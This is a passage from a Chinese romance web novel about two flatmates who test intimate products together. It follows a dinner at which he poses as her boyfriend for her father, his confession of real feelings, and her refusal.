林晚星拉开床头柜，看着里面各种款式的套，这两个月完全没有消耗。 之前，被工作的烦心事占据，她压根对这种事情没有一点想法。 可是，这一刻，她突然……很想和陈图森做。 不为测评产品，就只是想和他做。 她把抽屉推了回去，站起来，打开门。 陈图森刚好走出客厅，看了她一眼，问道：“还没睡？” 林晚星：“……嗯，等下。” 陈图森轻轻地“嗯”了一声，走到茶几倒了杯水，在沙发上一边喝水一边看手机。 林晚星深呼吸一口气，也过去倒了杯水，走到陈图森边上坐下。 她没拿手机，只能一直假装喝水。 她在等，等他开口。 可是，他就一直在看手机。 手机里好有什么好看的东西吗？ 为什么不看看她？ 是她做得不够明显吗？他怎么都不提？这不像他的风格啊！ 他不说，难道要她主动吗？ 虽然，她也不是没有主动过，可是那是为了戏弄陈图森。 没想到戏弄不成，自己反被折腾了一通。 林晚星喝得杯子都见底了，她还保持着喝水的姿势。 陈图森终于疑惑地扭头看了她一眼，提醒道：“睡前别喝太多水。” “哦。”林晚星这才将杯子拿开，发现水已经喝完了。 陈图森站起来，把自己的杯子放在桌上，说：“我去睡觉了。” 林晚星一惊：“这么早！” 陈图森本来想站起来的，听到林晚星的话，又坐了回去，问：“还有事？” 林晚星：“没……” 陈图森：“那我真的去睡了。” “等下！”林晚星赶紧叫住他。 陈图森再次坐了下来，疑惑地看着她。 林晚星把杯子放好，深呼吸一口气，扭头看向陈图森。 陈图森不解地和她对视。 死就死！豁出去了！ 林晚星再次深呼吸一口气，一转身，突然跨坐在陈图森的大腿上。 陈图森背脊瞬间绷直，全身石化，喉结滚动：“你……” “你想做吗？”林晚星双手勾着他的脖子，抢先问道。 陈图森双手无处安放，整个人局促不安：“你……是不是，又有什么不开心？” 林晚星摇摇头，说：“没有，我很开心。” 陈图森扬眉：“开心？” 林晚星点点头：“开心。” 开心……那她现在应该是有理智的。 陈图森双手这才虚虚地搭上林晚星的腰侧，低下头吞咽了一口，问道：“为什么开心？” 为什么开心？ 有太多了吧？ 因为蜜语度过了危机，因为找到了很多有意义的事情可以做，也因为…… “我觉得你真的很好。” 陈图森的心脏像被什么击中一样，有一瞬仿佛停止了跳动。 他的嘴唇微微张开，吸入了一些空气，才没让自己缺氧。 林晚星看着陈图森一张一合的两片薄唇，突然有点想吻上去。 可是，陈图森从来不跟她接吻。 因为他们没接过吻，所以也没交流过这方面。 他也不知道他是不是不喜欢。 不过，看他的性格，如果喜欢，估计会想去尝试吧。 秉承互相尊重的原则，林晚星终究是控制住了自己，没有咬下他的嘴唇，而是侧过头，在他的脸颊上亲了一口。 陈图森的双眼倏地瞪大，怔怔地看着林晚星。 “你今晚……到底是怎么了？” 林晚星有点受挫了，平时不撩都发情，今天怎么撩都撩不动。 她有些郁闷：“我做得还不够明显吗？” 明显，就是太明显了。 所以，他才害怕。 陈图森：“你不是说，以后都不做了吗？” 林晚星闭了闭眼睛，有些无语。她真的想敲开他这个榆木脑袋，怎么时而聪明时而愚钝：“我那是气话。” “气话……”陈图森嘴里重复道，大脑稍稍反应过来，搭在她腰侧的双手突然力道收紧，将她往前一拽，“所以，你是想恢复测评了？” 林晚星还来不及回答，陈图森就直起身，双手托住她的大腿，向房间走去。 还没走到房间，陈图森的气息就缠绕在林晚星的脖子上。 她的心跟着被提了起来，她双手紧紧地勾住陈图森的脖子，嘴巴伏在他耳边说道：“陈图森，今晚你可以挑一款自己喜欢的。” 他配合了她这么多次，她也想配合他一次。 陈图森的吻停下，惊诧地看着林晚星。 只见林晚星对他肯定地笑了笑。 短暂的停歇后，是更加密集的暴雨。 在低吟和喘息声中，时间悄然跳到第二日。 林晚星的手机传来叮叮咚咚的响声，刚停下没多久又响起，硬生生打破了一室的旖旎。 结束后，林晚星趁着陈图森去扔垃圾，拿起手机看信息。 罗青盈：【我的小星星，生日快乐！】 并且附上一个红包。 林晚星回复道：【谢谢罗女士！】 她退出，点开宋知暖的信息。 宋知暖发了一条语音过来：“晚晚生日快乐呀！当然不止今天，每天都要快乐！” 听到这条语音，陈图森回过头，问道：“今天你生日？” 林晚星一边回复信息一边点头：“嗯。” 陈图森低着头不知道在想什么，然后默默地走出房间。 没多久，他拿着一个盒子回来，递给林晚星：“不知道今天是你生日。这个本来就是想送你的，就当作是你的生日礼物了。” 盒子没有礼物的包装，林晚星看到上面的字：“手环？” 陈图森点点头：“嗯。” 林晚星也没多想，只是觉得陈图森送礼物都是首先想到电子产品，果然很符合她对理工男的刻板印象。 “谢谢！” 陈图森有些犹豫地伸出手，说：“我也有一个。” 林晚星看了一眼他手上的手环，又低头看了看自己手上的，是同款的，她惊讶地问道：“搞活动买一送一吗？优惠力度这么大？！” 陈图森：“……” 他支支吾吾地说：“你还记得上次我跟你提过的想法吗？用手环记录身体的数据，然后可以生成伴侣模式……我自己写了个程序……” 林晚星呆住了，她当然记得，不过她当时以为他随口说的，没想到他一直记着，竟然还自己写了个程序？ 她是真的低估了陈图森对这些事的执着程度！ 她又低头看了眼手上的盒子，所以，以后她跟他做的时候，都要戴着这个手环？怎么有种被监视的感觉。 她忍不住皱起眉头，为什么这人送礼物都能跟这种事扯上关系？ 他的大脑是黄色废料做的吗？ …… 蜜语的这场危机过去了，顾歆也招到了合适的主播，林晚星也不用再兼职主播的工作。不过她和顾歆在筹备一个新项目。 她想做一个有关性.知识的科普栏目。 见过许欢之后，林晚星突然明白了一件事，仅仅做出好产品，是不够的。 顾歆曾经对她说过的那句话含金量仍在上升—— “很多女孩子在性.爱时根本不能放松地享受，她们会担心会不会传染疾病，会不会意外怀孕。” 就算她们做出了好的产品，还是无法避免像许欢这样的女孩子受到伤害。 说到底，还是大家对性这件事认识太少。 大家都在催婚催育，却无人敢谈性。 一旦谈及性，就会被打上银灰涩情的标签，所以没人敢谈。 但，是结婚不需要上.床，还是生孩子不需要上.床呢？ 只是让人结婚生小孩，却没有人来告诉年轻人，到底应该如何处理婚姻关系，什么是生育的真相，以及如何拥有健康的性.生活。 她为什么要去做这件事？ 其实林晚星并没有多么伟岸、宏大的理想，她也没觉得自己有拯救谁的义务。 她只是希望多一个人了解，就少一个许欢、少一个罗青盈，也少一个林晚星。 不过，任何事情，开始总是难的。 节目开播后，很多人是怀着猎奇的心理来看。 她谈/性.的基本知识，评论区喊着不如多教几个姿势。 她介绍安全套的重要性和用法，评论区嚷着让她示范一下。 这个栏目，给她增加了不少工作量。她每一天都变得很忙，关键是成就感很低，有种吃力不讨好的感觉。 为了做这个节目，她和陈图森的测评实践几乎搁置。 还是陈图森嚷着小玩具数据要丰富一点，效果才能更好，因此他们周末的测评才没有停止。 林晚星也有私心的，不，是公心。 她想着，要是这个小玩具真的好用，还可以跟公司建议。 应该很受异地情侣夫妻的欢迎。 经过一个多月的实践，系统已经搜集一定的数据，陈图森在APP上给这个模式命名为“陈图森模式”，他迫不及待想看一下效果。 林晚星却很强硬地制止了：“你别过来，我自己会找时间测试！” 想让她在他面前测试小玩具，想都别想！ 陈图森不解：“怕什么，你什么样子我没见过。” 又不是没见过她玩小玩具的样子。 林晚星坚持底线：“反正不行。” 陈图森缴械投降：“行吧，你测试了记得告诉我体验感。” 对自己想法的实际落实效果，他还是很关心的。 说完，他就压了上来，说：“那就让系统多搜集一次数据，效果更加精准一些。” 两人正进行到一半，铃声响了，是林晚星的手机。 她微微喘着气，扭头看了过去，只看到手机屏幕发出刺眼的白光，看不见是谁打过来的。 陈图森将她的脸掰过来，提醒道：“你又不专心了。” 林晚星：“我手机……” 陈图森：“别管。” 两人的动作越来越快，铃声似乎也越来越急促，成了一种诡异的背景音，也莫名拉满了紧张感。 手机终于自己停了下来，空气安静的那一刻，林晚星也松了一口气。 然后没几分钟，手机再次响了起来，林晚星的心再次紧张起来。 她伸手将陈图森推开，套上衣服，说：“我看看是谁，估计有急事。” 陈图森被她推开，欲求不满地靠坐在床边，微微喘着气，眼睛追随着去接电话的林晚星。 林晚星看到手机屏幕那瞬间，有短暂的惊讶。 竟然是她爸爸。 她爸爸不是那种会主动联系她唠家常的，她突然有些担心，是不是发生了什么，赶紧接通了电话。 “喂，爸。” 林运辉：“阿星，你睡了吗？” 林晚星：“没有呢。” 林运辉：“你怎么……好像有点喘？” 林晚星下意识屏住呼吸：“有吗？可能我刚做完运动吧？” 林运辉：“这么晚还做运动啊？” 林晚星：“……啊，小区的室内健身房。” 林运辉：“那挺好，多运动锻炼身体。” 林晚星：“爸，你有事吗？” 林运辉：“哦，是这样……你明天有空吗？” 林晚星：“什么事？” 林运辉：“没什么，就是找你吃个饭，顺便带个朋友给你认识。” 林晚星察觉到不妥，皱眉问道：“什么朋友？” 林运辉：“是爸爸一个客户的儿子，他碰巧看到你的照片，就想认识一下。” 林晚星眉头拧得更紧了：“他怎么会看到我的照片？” 林运辉支支吾吾地答不上来，他刚跟客户和他儿子吃完饭。席上，聊起孩子的婚育话题，林运辉就把林晚星推出来，说自己女儿乖巧漂亮，就是不爱交际，到现在都没谈恋爱。正好两个孩子年龄相仿，对方说那就见个面认识下吧。林运辉开心得回来立马给林晚星打电话。 不过，要是这么说，林晚星肯定生气不来的，他岔开话题说：“阿星，你也工作了，出来社会多认识点人没什么坏处的。爸爸也是为你好。” 就人家那家业，林晚星嫁过去，就是下半辈子不工作也不愁吃穿，还能提携一下他的生意。 林晚星突然觉得这句“为你好”特别刺耳，她有那么一瞬间体会到了妈妈当年的窒息。 其实这种事以前不是没有遇到过，她有好几次去看望爸爸和奶奶，去到发现家里有别人，不是什么客户儿子，就是哪个单位领导的儿子。 然后爸爸一脸乐呵呵地说：“阿星，你帮爸爸招待一下客人，你们年轻人正好聊得来。” 林晚星不想领情，说道：“爸，你不用搞这些有的没的，我有男朋友了。” 话音刚落，电话里外都安静了。 陈图森呼吸一顿，撩起眼帘看向她。 林运辉一脸状况外：“什么？你有男朋友了？怎么没听你说过？也没听你妈说过。” 林晚星怼道：“你平时都不关心我，也不关心妈妈，怎么会听说呢。” 林运辉一时语塞，自知理亏，但他似乎并不太相信：“那……那，那我不带他。你不是说爸爸不关心你，那爸爸跟你吃个饭总可以吧。这样吧，把你男朋友也带上，爸也想见见你男朋友。” 林晚星懵了：“不用了吧……他很忙的。” 林运辉：“能有多忙？忙到连女朋友的爸爸都没时间见？就这么说好了，要么你带男朋友出来，要么爸给你介绍男朋友。” 挂了电话，林晚星才发现自己玩脱了。 她猛地转过身，凑到陈图森面前：“陈图森，帮我一个忙。” 陈图森缓缓地抬起双眸，问道：“什么忙？” 林晚星：“假扮我男朋友，跟我爸吃顿饭。” 陈图森：“为什么？” 林晚星很不耐烦地解释道：“不然很烦的，我爸就老爱给我介绍男孩子，到时不仅要吃饭，还要加微信约吃饭看电影，我没心情应酬他们。” 陈图森咬了咬后槽牙，这么说来，还接触过不少。 “我可以跟你爸吃饭。” 林晚星双眼亮了：“真的？太感谢了！” “但是……”陈图森幽幽地开口，林晚星突然有一股不详的预感，脸上的笑容都凝固了，紧张地看着他。 陈图森慢悠悠地说道：“我问的是，为什么是假扮？” 林晚星皱了皱眉：“啊？” “男女朋友间该做的事，我们都做了，为什么我还是只能假扮你男朋友？” 第39章 第 39 章 跟我做一天真正的情侣。…… 第二天, 两人在前往和林运辉吃饭的车上。 林晚星在紧张地背诵着陈图森的资料：“你老家在丰门，你爸妈都是大学教授，你是家里的独子。你读的是南杭大学，学的是自动化工程, 现在在蚂蚁智行……” “好了。”陈图森抓过她的手, 掌心贴着她的掌背, 紧紧地握住，放在大腿上。林晚星下意识地想缩回来, 陈图森似乎早有准备, 用力将她抓住。 “缩什么, 我们昨晚说好的。” 林晚星这才卸了力，任由陈图森这么握着自己的手。 “是我去见你爸爸，怎么你比我还紧张？”陈图森拇指抚摸着她的手背，笑道, “还有, 这些不用背，忘记了就忘记了, 我会补充。也不是谁都能背下男朋友的资料, 你这样显得很假。” 林晚星撇过头看向车窗外, 嘴里嘀咕道：“本来就是假的。” 陈图森的心微微皱缩，他双唇绷紧，抓起林晚星的手，放在自己另一只手心上, 两只宽厚的大掌上下地包裹着她的小手。 他有些酸涩地说：“至少今天是真的。”也像在宽慰自己。 林晚星还在看着窗外，没有回答。 她的思绪被拉回到昨晚。 陈图森问她：“男女朋友间该做的事，我们都做了，为什么我还只能假扮你男朋友？” 她的脑袋一下子运转不过来, 不明白陈图森是什么意思。 她茫然地问道：“不然呢，你还真的想当我男朋友呢？” 她本以为陈图森是跟她开玩笑的，她本以为陈图森会得意地怼她：“你想得美，谁想当你男朋友。” 可是，陈图森却一脸认真地说：“不行吗？” 这真的给她整不会了。 “你今天是不是受什么刺激了？你怎么连这种胡话都说得出来。” 陈图森的脸色越来越不好看，声音里都带着一丝恼火：“我说的不是胡话。林晚星，我是认真的。” 心脏不受控制地加速跳动，大脑却直接短路了。 林晚星完全懵了，陈图森这是在干什么？ 表白吗？不是吧？太荒唐了！ “陈图森，你不要再跟我开玩笑了。” 陈图森紧紧地蹙着眉头：“为什么你觉得我是在跟你开玩笑？我不可以喜欢你吗？” 林晚星提醒道：“我们当初说好的。我们只是测评搭档，不谈感情。你也知道的，我不想找男朋友！” “那你爸为什么又要给你找男朋友？” “他要给我找是他的事，我根本没想接受。所以才让你假扮我男朋友。” 怒气在两人中间来回游走，谁也不想妥协。 最后，林晚星不想再这么耗下去，只好说道：“如果你不想去，那我就找别人吧，不勉强你。” 找别人？陈图森半眯起眼睛看着她。为什么她总是这样，轻而易举地说换人就换人？就算是工具，用久了也有感情吧？他对她来说，就连工具都不如吗？ 陈图森用力吞下怒气，妥协道：“我可以帮你，但我有个条件。” “什么条件？” “明天，跟我做一天真正的情侣。” 林晚星不太懂：“那不就是假扮……” “不是假扮。”陈图森打断她，纠正道，“是真正发自内心地把我当成你的男朋友。” 林晚星皱了皱眉，这不还是假扮嘛？ 陈图森不太明白，林晚星为什么这么抗拒找男朋友。他们已经一起住、一起吃饭、一起上.床，所有事情都这么合拍，两人已经如此亲密，为什么她还是不能接受他当她的男朋友。 也许她只是没有体验过。 也许他们尝试转换下身份，她就会觉得，也不是不能接受。 陈图森双眼直勾勾地看着她，就像她当初邀请他一样：“试试吧。林晚星，我们试试谈一天的恋爱吧。如果试过之后，你还是觉得我没有资格当你的男朋友，你再拒绝我也不迟。” 林晚星很想跟他说，就算试了，结果也一样。 她不会找男朋友，不管那个人是陈图森还是别人。 可是，她如果不答应陈图森，她就要去应酬她爸给她介绍的那些男孩子。 她刚才都是故意激陈图森的，大晚上的哪里再去找个男人假扮她男朋友呢。 反正在她看来，陈图森说的什么当一天情侣和她理解的假扮情侣，都是一样。 先答应了他再说。 “可以。我答应你。” …… 没想到的是，今天两人出门的时候，陈图森就主动牵起她的手。 他们以前从来不牵手的，林晚星吓得赶紧往回缩，陈图森再次抓过去。 “昨晚可是你亲口答应的，这么快就想反悔？” 林晚星无言以对。 她理解的假扮，是只在她爸爸面前假扮情侣秀秀恩爱就好了。 陈图森说的一天情侣，是只有两人的情况下，也以情侣方式相处。 她低头看着自己和陈图森十指相扣的手，好像被人扣住了心脏，浑身都感觉不自在。 真是奇怪。 他们在床上什么没做过，只是牵个手而已，为什么比上.床还难。 算了吧，他爱牵就牵，一天很快过去的。 林晚星的思绪被窗外的景色拉扯着，等到车子停下，她的意识才回笼。 两人牵着手走进饭馆，他们来得有点早，林运辉还没来。 陈图森扭头看了眼像来上坟的林晚星，笑道：“你开心点，自然点，你这样真的好假。到时穿帮了我都不会圆了。” 林晚星抬起头，对他苦笑了一下：“放心，我是专业演员，我现在只不过是在酝酿情绪。” 陈图森笑道：“你最好是。” 这时，林运辉刚好走了进来，就看到一对小情侣在打情骂俏，顿时心凉了半截。 他很快调整好情绪走过去：“不好意思，有点堵车。” 两人站了起来，林晚星叫道：“爸。” 她还不忘往他身后看一眼，很开心看到只有她爸爸一个人来，算他信守承诺， 陈图森也跟着叫道：“叔叔您好。” “你好你好。”林运辉脸上挂着客气的笑容，开心地点头打招呼，“你叫……” “陈图森。” “哦，小陈。你好你好。坐坐，坐，别站着。” 两人落座，林运辉的双眼一直在打量着陈图森，这人长得确实不错。不过，年轻女孩，都容易被男人的外表所骗。他作为爸爸，有必要给她把把关。 林运辉：“小陈，你是哪里人啊？” 陈图森：“叔叔，我老家在丰门。” 林运辉：“丰门啊，那挺远的。” 陈图森：“现在都有高铁连接，虽然是远一点，但方便。” 林运辉：“丰门现在发展也挺好的，不打算回去？” 陈图森：“暂时没这个打算，毕竟工作在这里。” 林晚星见林运辉一见面就像查户口一样，担心陈图森被问烦了，直接撂担子不干，赶紧递过去一份菜单，说：“爸，点餐吧。” 林运辉伸手挡住，说：“星，你自己先点，爸还有话跟小陈聊聊。” 林晚星：“……” 林运辉：“小陈啊，你哪所大学毕业的啊？” 陈图森：“南杭大学，自动化工程。” 林运辉：“哦，挺不错的，毕业了就来江城？” 陈图森：“不是，我在南杭工作了三年。” 林运辉：“这样啊，南杭不是比江城发展好吗？怎么想到来江城啊？” 陈图森：“想换换环境，尝试一些新的挑战。” 林运辉：“那你跟阿星久了不会也想换换人挑战下吧？” 这话着实是有些故意刁难了。 陈图森还没开口，林晚星就打断了他：“爸！你别那么过分好不好？” 林运辉有些不满地看了林晚星一眼，真是女生外向，都还没嫁呢，就帮着外人。 反倒是陈图森不愠不恼，很自然地抓过林晚星的手，既是安抚她，也是让林运辉放心。 “叔叔，工作和人是不一样的。这个社会一直在变化，在一个公司待久了，思维就容易固化。我之所以换工作，也是希望可以让自己不断地提升，不要一直固守原地。但人不一样。我觉得对人，用挑战是不合适的。两个人能走在一起，是因为心灵和精神上的契合。我是做自动驾驶的，我常常觉得，两个人的相遇，就像在数据星图的一颗坐标。无论道路多么复杂，只要有一颗正确的坐标，就终会到达目的地。同时，这个坐标也是一个锚点，可以将人牵引，不至于迷失在繁复的数据海洋里。” 林晚星呆呆地看着陈图森，虽然听不懂，但就是觉得，有点浪漫。 林运辉本来是想让陈图森难堪的，没想到还被他怼回来了，一时脸色有点不好看。 气氛有些僵硬，林晚星挣脱陈图森的手，又给林运辉递上菜单：“爸，要不你看看想吃什么。” 上菜后，三人起筷，吃得异常安静。 林运辉打破僵局，状似随意地问道：“小陈，你刚才说，你是做自动驾驶的？” 陈图森：“是的。” 林运辉：“这是眼下最热门的行业啊，那你工资应该还不错吧。” 林晚星险些噎着，她都不敢问陈图森工资，她爸竟然就这么直接地问出口了。 “爸，这是个人隐私，你这样问很不礼貌。” 林运辉有些不悦：“怎么不礼貌了？我了解下自己女儿男朋友的经济实力，这有什么不对的。我不了解清楚他是否有能力养得起你，我能放心让你跟他交往吗？” 林晚星张嘴还想反驳，陈图森轻轻地拍了拍她的手背，微笑着对林运辉说：“叔叔，我明白您的顾虑。这也没什么不可说的，我每个月到手工资差不多三万五，不过我们是18薪，年终还有项目奖金、绩效之类的，算下来，每个月差不多五六万。如果您还不放心，我可以把我的工资明细给您看看。” 这下，不仅林运辉的嘴被堵住了，就连林晚星也瞪大双眼看着陈图森。 不是吧？这一行工资这么高的吗？好酸啊！现在转行还来得及吗？早知道她当年也学理科算了。 林运辉一时找不到有什么可挑剔的，只好默默吃了两口菜，转而问道：“小陈啊，你刚来江城不久，你现在是租房吗？” 陈图森：“是的，叔叔。” 林运辉终于又找到了优越感，教育道：“小陈啊，你们现在谈恋爱，租房住还可以接受。但是以后结婚了，还是得有自己的房子。我可不想让自己的女儿以后还要跟老公住在出租房里。” 林晚星又皱了皱眉，还没来得及反驳，陈图森就开口说道：“叔叔，您放心。其实，我已经在天悦云府买了一套房子，只是刚交房不久，暂时还没搬进去。” 林晚星又偷偷看向陈图森。 什么？陈图森连房子都买好了，那还跟她挤没有电梯的贫民区楼梯房？ 他没病吧？还是来体验生活了？还是说，他是随口编的骗骗她爸的？反正她爸也不可能去查房产证。 但看他说得脸不红心不跳的，跟真的一样，搞得她一时都不清楚陈图森这话是真是假。 话说，他什么时候买的房子啊，怎么没听他说过？既然都买了房子，干嘛还跟她合租呢？他是不是快要搬走了呀？男人一旦买房，是不是意味着想结婚了？他要跟谁结婚呢？他有女朋友了吗？ 她的心忽地被揪紧，特别难受。 他是一边买房准备着跟人结婚，一边又跟她合租和她测评吗？ 他这是把她当什么了？ 昨晚还跟她说什么当她男朋友的，背地里连跟别人的婚房都买好了。 她越想越烦，反正不管哪句是真哪句是假，都能说明，男人真的很会撒谎。 她本以为陈图森会跟别人不一样，其实都是一样的。 林运辉还真没想到，这小子竟然连房都买好了：“看不出啊，小陈你也算是年轻有为。” 陈图森谦虚道：“工作几年，我也有一点积蓄。当然，家里也资助了点。” 过年回家的时候，爸妈听说他到江城后和人合租，还是没有电梯的楼梯房，还住在顶层，立马心疼得不行。 陈图森回江城后，两老就隔三岔五催他换房子，不行就买一套。 恰好前段时间，那个楼盘的人过去他们公司宣传。 陈图森看到这个楼盘正对江景，前面没有遮挡，想着以后和林晚星在阳台看江景看烟花就不用再担心看不完整了。 而且租房确实也没有安全感，房东哪天说要收回去，他们就只能另找房子。 他算了算价钱，觉得也能负担得过来，就买了。 那段时间，林晚星正好为公司的事心烦，他也就没跟她说。 现在，正好趁这机会说出来，也可以让她知道，他对她是真的很认真的。 他连他们的房子都买好了，他是认真地想和她在一起。 林运辉对女儿这个男朋友，是哪哪都挑不出毛病，但又哪哪都不满意。 三人走出餐馆时，林运辉问道：“小陈，你车停哪了？” 陈图森答道：“叔叔，我没车，我们打车过来的。” 林运辉倏地皱起眉头：“没车，男人没车这可不行。你住哪，我送你回去吧。” 林晚星察觉到老爸又在找茬，故意挽起陈图森的手臂，说：“他跟我住一块，滨江花园。” 林运辉一听，脸色大变，将林晚星拉到一边，低声问：“你们都住一起了？” 林晚星应道：“嗯啊。” 林运辉眉头皱成“川”字：“这怎么行！你们还没结婚，就住一起，别人知道会怎么说啊！” 林晚星冷笑一下：“他是我男朋友，我跟他住一起怎么了？再说了，你现在跟我说这些，自己不觉得双标吗？你当初又是怎么对妈妈的？” 林运辉一怔，难怪林晚星今天句句带刺，他本来以为她是不喜欢他给她介绍男孩子。这么看来，是罗青盈在她面前说过什么？ “你妈连这些都跟你说了？” 林晚星反问道：“难道你有什么是不能让我知道的？” 林运辉一噎，哑口无言。 林晚星：“算了，不用你送我们了，打车很方便的。” 说完，林晚星拿起手机，叫了辆车。车子刚好就在附近，不到一分钟就到了。 林晚星直接钻进车里，倒是陈图森，上车前不忘对林运辉点了点头告别。 林晚星上车后，还一直气呼呼的，头看向窗外。 陈图森犹豫了一下，伸手抓过她的手。 林晚星一惊，下意识地又想缩回去。 陈图森收紧力度，提醒道：“今天还没过。” 他们还是一天情侣。 林晚星有些烦闷地吐了口气，又将头看向窗外。 爱抓就抓吧，反正今天也没剩多少时间了。 也许是陈图森自己也意识到这个问题，就连下车后，他都不忘牵着林晚星的手。 两人才走到楼下，林运辉的电话又打过来了。 林运辉：“阿星，我跟你妈那都是过去的事了，谁年轻时没有不懂事的时候呢？所以，我才不想让你重蹈覆辙。” 林晚星憋着一股气，沉默地听着。 见林晚星不说话，林运辉问道：“你那男朋友，在你边上吗？” 林晚星低头看了眼两人紧扣的手，说：“不在。” 反正她又没男朋友。 林运辉听罢，似乎放松下来，说：“既然他不在，爸爸就跟你说点掏心话。你那男朋友确实挺不错的，不过啊，年轻人谈恋爱嘛，都是图个新鲜，谁也说不好你们能走多远。所以啊，多认识点人，没坏处。你看下，要是什么时候有空，爸再给你……” “爸！”林运辉这句话让林晚星莫名地烦躁，她不客气地打断他，“我们还没分手呢，你就跟我说这些合适吗？你是让我脚踏两只船，还是让我跟他分手，还是让我养备胎呢？有你这么教女儿的吗？” 说完，林晚星直接将电话挂掉。 在她身旁的陈图森，虽然说不上听得一清二楚，都也能猜个大概。 他的拇指摩梭着林晚星的拇指，安抚着她，说：“别生气，父母嘛，就算做得不对，但他们的初衷都是为子女好的。” 然而，这句话不但没有起到安慰作用，反而像在火上泼了一把油。 “你知道什么啊！你为什么要帮他说话？”林晚星猛地将手抽出，生气地说，“我知道了，你也是男的！” 陈图森有点无辜，挠了挠太阳穴，解释道：“我不是帮他说话，我是不想看见你生气。” “还有。”林晚星开始翻旧账，“你今天对他这么客气干什么，他问你什么就答什么。你不想回答不会拒绝吗？你就这么上赶着巴结他吗？看吧，人家转身就叫我跟你分手。” 不知道为什么，林晚星虽然骂得凶，但是陈图森却听出了几分关心。 他的嘴角忍不住露出浅浅的笑意：“我就是，希望你爸对我印象好一点，那他就不会再给你介绍男孩子了。” 两人吵着吵着走到了702，陈图森掏出钥匙，打开门，让林晚星进去，自己随后跟着进去。 林晚星一进屋，本打算直奔自己房间。 走到门口，她停了下来，心里很难受，各种难受。有很多，是她无法解决的。不过有一个，可以。 她转过身，看着陈图森说：“对不起，陈图森，今天我爸故意给你找茬，想让你难堪。其实，你表现再好，他都不会满意的，他就是想找出你比别人不好的地方而已。你不用在意他，也不用把他的话放心里。” 她的生气，其中一个原因也是因为对陈图森感到愧疚。是她让陈图森假扮她男朋友，是她让他这么难堪的，可是她还跟他发脾气。 陈图森有些动容，她总是这样，外表看上去什么都不在意，其实什么都藏心里。 他想起她那晚喝醉了，对他说的那些话。 她对爸爸发脾气，其实也是因为伤心。 她应该是一直很渴望爸爸的爱，但她爸爸却不是真的关心她。 陈图森的心被揪着，很心疼。 他缓缓地走向林晚星，说：“没关系。其实，你爸怎么看我，没太大关系。” 他想讨好她爸爸，并不是因为她爸爸，而是因为林晚星。 所以，“我在乎的是，你的意见。” 林晚星的心突然提了起来，她装傻道：“我，什么意见。” 陈图森又向她走近一步：“你昨晚答应过我的，我当你一天的男朋友，你再决定，接不接受我。” 林晚星呼吸微滞，她今天被林运辉气得几乎忘了这件事，本以为结束了就是结束了，没想到还有一个麻烦在等着她。 “所以……”陈图森低下头，近得几乎和她呼吸相缠，低哑地问道，“林晚星，你的答案是什么？” 第40章 第 40 章 “我们的关系结束了。”…… 她的答案, 从一开始就想好了。 她只是忽悠陈图森假扮她男朋友蒙一下她爸爸而已，戏演完了，他们脱下戏服，就该变回原来的自己。 陈图森还是陈图森, 不会变成她男朋友。 可是, 为什么她觉得要说出这个答案, 那么困难。 林晚星低下头，眼睫不受控制地颤动, 心脏像被一只无形的爪子掐紧, 呼吸变得紧促。 “林晚星。” 陈图森继续逼近, 催促着她的答案。两人的距离进一步被压缩，就连空气都好像被挤了出去。 林晚星有些窒息，她深深呼吸了一口，牙齿将下唇咬得发白：“对不起。” 陈图森脸色瞬间发白, 她明明在说对不起, 可是在他听来，却像是给他判了死刑。 为什么？他到底还有哪里做得不够？ “我能知道原因吗？” 原因。 林晚星小心翼翼地斟酌字眼, 说：“不是你的问题, 你很好。是我……” “不要给我发好人卡, 林晚星。”陈图森粗暴地打断她，“告诉我，我到底还有哪里做得不好？” 林晚星也不拐弯抹角了，直接说：“就算你做到100分也没用, 我说过，我不打算找男朋友。以前没这个打算，现在也没有，以后也不会有。” 陈图森皱起眉头, 不明白：“为什么？” “我不需要这种关系。所以从我邀请你当我测评搭档的那一天，我就说过，我不找男朋友。我们都是同意了才会开始这段关系的。不是吗？” 陈图森仍然不明白，仍在问：“为什么？为什么就不能是男朋友？我当初理解你，你也许觉得我们当时认识不够久、感情不够深，但是现在呢？我们一起生活了这么久、测评了这么多次，难道还不够了解吗？” 林晚星：“与这个没有关系。” 陈图森：“那到底是为什么？你告诉我啊！” 林晚星被逼得没办法，只好说道：“人对于感情都是贪心的。我们发展了男女朋友的关系，我们就会为了维持这段关系，想要更进一步，想要婚姻关系。想要结婚，想要生孩子。” “可是，没有什么关系是能长久的。所有的关系最终都会破裂。我不希望为了维持一段关系去做很多努力后，最终还是悲剧收场。” 陈图森算是明白了：“你不相信我？不相信我们能一直走下去？” 林晚星摇摇头：“我爸爸妈妈以前也很爱对方的，但他们还是离婚了。我爸爸以前也很爱我的，但他很快就有了更爱的儿子。我本来以为会一直和妈妈在一起生活，但我现在知道，我会离开她，她也会有自己的幸福。” “陈图森，我们之间有什么啊？就床上那点激情，你觉得可以维持多久？你喜欢我什么呀？还是你到年龄了，想结婚了，刚好身边就有个合适的人，你就懒得再去找了？” 陈图森眉心紧拧：“你是这么想我的？你是这么揣测我对你的感情的？” 林晚星反问：“不然呢？你喜欢我什么？你是不是自己都迷糊了，把床上的激情当成了是爱？” 陈图森像是被侮辱了一样，胸口越来越闷，他喘着气问道：“有分别吗？难道你可以和一个不爱的人上.床？” 他之所以会答应她做这么荒唐的事，终究不过是，他想用这种方式接近她。 如果他不喜欢她，他根本不可能答应。 他本以为，林晚星对他，多少也有同样的感情。 她的心里，至少应该是对他有好感的，不然为什么她要找他？ 林晚星却轻笑了下：“我本来就没想过要谈恋爱结婚的，所以测评这种事，找一个不爱的还合适点。要早知道你对我有这种心思，我就不找你了。” 林晚星的话像尖锥一样，一个个扎入陈图森的心脏。 一阵强烈的钝痛感袭来，陈图森的眼角泛起红晕。 “你的意思是，你不仅没有喜欢过我，而且，就算当初住进这里的是另一个男人，你也会邀请他跟你测评？” 会吗？林晚星的大脑也在推演着这个假设。 她当初为什么会找陈图森。 多少还是因为陈图森确实能入她的眼。 长相好、身材好、爱干净、生活检点。 如果有一个跟他同样条件的室友，说不定她确实会对他发出这样的邀请。 脑海里有了这个假设，他们测评的画面中，陈图森的样子换成了另一个人。 她突然像是起了一身鸡皮疙瘩一样，打了个寒颤。 换了别人，她真的能接受吗？ 好像也没有她想象中那么轻松。 上次小优还想撮合她和那个谁来着，当时她非常抗拒。 论外形，他虽然比陈图森逊色一点，但客观来说也不差。 为什么她当时却根本不想和他有进一步的接触呢？ 她越想心越乱，其实管它是什么原因呢！ 不管什么原因，说到底她就是不打算找男朋友，怎么给陈图森给绕进去了。 她敛神直视陈图森：“是吧，只要那个人条件足够好。” 心脏的尖锥被人用力拔出，整个胸腔血淋淋的。 